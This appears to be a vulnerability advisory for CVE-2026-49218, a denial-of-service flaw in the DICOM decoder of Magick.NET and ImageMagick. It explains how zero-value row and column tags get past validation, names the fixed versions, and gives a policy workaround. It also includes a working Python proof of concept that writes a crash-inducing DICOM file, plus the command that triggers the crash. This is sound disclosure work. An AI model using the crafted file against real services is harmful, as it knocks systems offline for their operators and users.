high · 7.5CVE-2026-49218Jun 25, 2026

CVE-2026-49218: Magick.NET DCM Decoder Invalid Dimension Denial of Service

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted DICOM medical image file with zero-value dimension fields can bypass ImageMagick's input validation, producing an image with no width or height that crashes any downstream operation that tri

PackageMagick.NET-Q16-AnyCPU
Ecosystemnuget
Affected< 14.14.0
Fixed in14.14.0
CVE-2026-49218: Magick.NET DCM Decoder Invalid Dimension Denial of Service

The problem

The DCM (DICOM) decoder in ImageMagick, exposed via Magick.NET, parses image dimensions from DICOM tags 0028,0010 (rows) and 0028,0011 (columns) without verifying that the resulting values are non-zero.

An attacker who can supply a DICOM file to any application that calls Magick.NET can produce an image object with zero columns or rows. Any subsequent operation on that image (resize, encode, composite, etc.) will crash the process, giving a clean network-reachable denial of service with no privileges required.

Proof of concept

bash
# Minimal crafted DICOM file with zero-dimension tags
# DICOM Preamble (128 bytes of 0x00) + DICM magic
python3 - <<'EOF'
import struct, sys

def tag(group, element, vr, value_bytes):
    # Little-endian explicit VR DICOM element
    return (struct.pack('<HH', group, element)
            + vr.encode()
            + struct.pack('<H', len(value_bytes))
            + value_bytes)

preamble = b'\x00' * 128 + b'DICM'

# File Meta Information (group 0002)
meta_length_val = b''
meta = (
    tag(0x0002, 0x0001, 'OB', b'\x00\x01') +   # FileMetaInformationVersion
    tag(0x0002, 0x0003, 'UI', b'1.2.3.4.5\x00') + # SOPInstanceUID
    tag(0x0002, 0x0010, 'UI', b'1.2.840.10008.5.1.4.1.1.2\x00') # TransferSyntaxUID
)
meta_group_len = tag(0x0002, 0x0000, 'UL', struct.pack('<I', len(meta)))

# Dataset: set Rows and Columns to 0 (triggers the bug)
dataset = (
    tag(0x0028, 0x0010, 'US', struct.pack('<H', 0)) +  # Rows = 0
    tag(0x0028, 0x0011, 'US', struct.pack('<H', 0)) +  # Columns = 0
    tag(0x0028, 0x0100, 'US', struct.pack('<H', 8)) +  # BitsAllocated = 8
    tag(0x0028, 0x0103, 'US', struct.pack('<H', 0))    # PixelRepresentation
)

with open('crash.dcm', 'wb') as f:
    f.write(preamble + meta_group_len + meta + dataset)

print('crash.dcm written')
EOF

# Trigger the crash via Magick.NET / ImageMagick CLI:
magick crash.dcm output.png

Before the fix, `ReadDCMImage` in `coders/dcm.c` would successfully return an image object even when the DICOM row/column tags both decoded to zero. The commit `4ac379a` added an explicit guard: if `image->columns == 0 || image->rows == 0` after parsing, the decoder now throws an error and aborts.

Because ImageMagick's policy engine checks the format name before decoding, a DCM file that passes format-level policy checks still reached the broken dimension-parsing path with no further validation. This is a classic CWE-20 (Improper Input Validation) issue: data from an untrusted source was used without a boundary check.

The zero-dimension image object then propagates to whatever the caller does next (e.g., `SetImageExtent`, pixel-cache allocation, or encoding). Those callers assume valid geometry and crash or hang, producing a reliable remote denial of service at CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/A:H).

The fix

Update Magick.NET to version 14.14.0 or later. The underlying ImageMagick fix ships in versions 6.9.13-48 and 7.1.2-24. If an immediate upgrade is not possible, configure your security policy.xml to deny the DCM coder (`<policy domain="coder" rights="none" pattern="DCM" />`) so that DICOM files are rejected before they reach the decoder.

Reporter not attributed.

References: [1][2][3][4]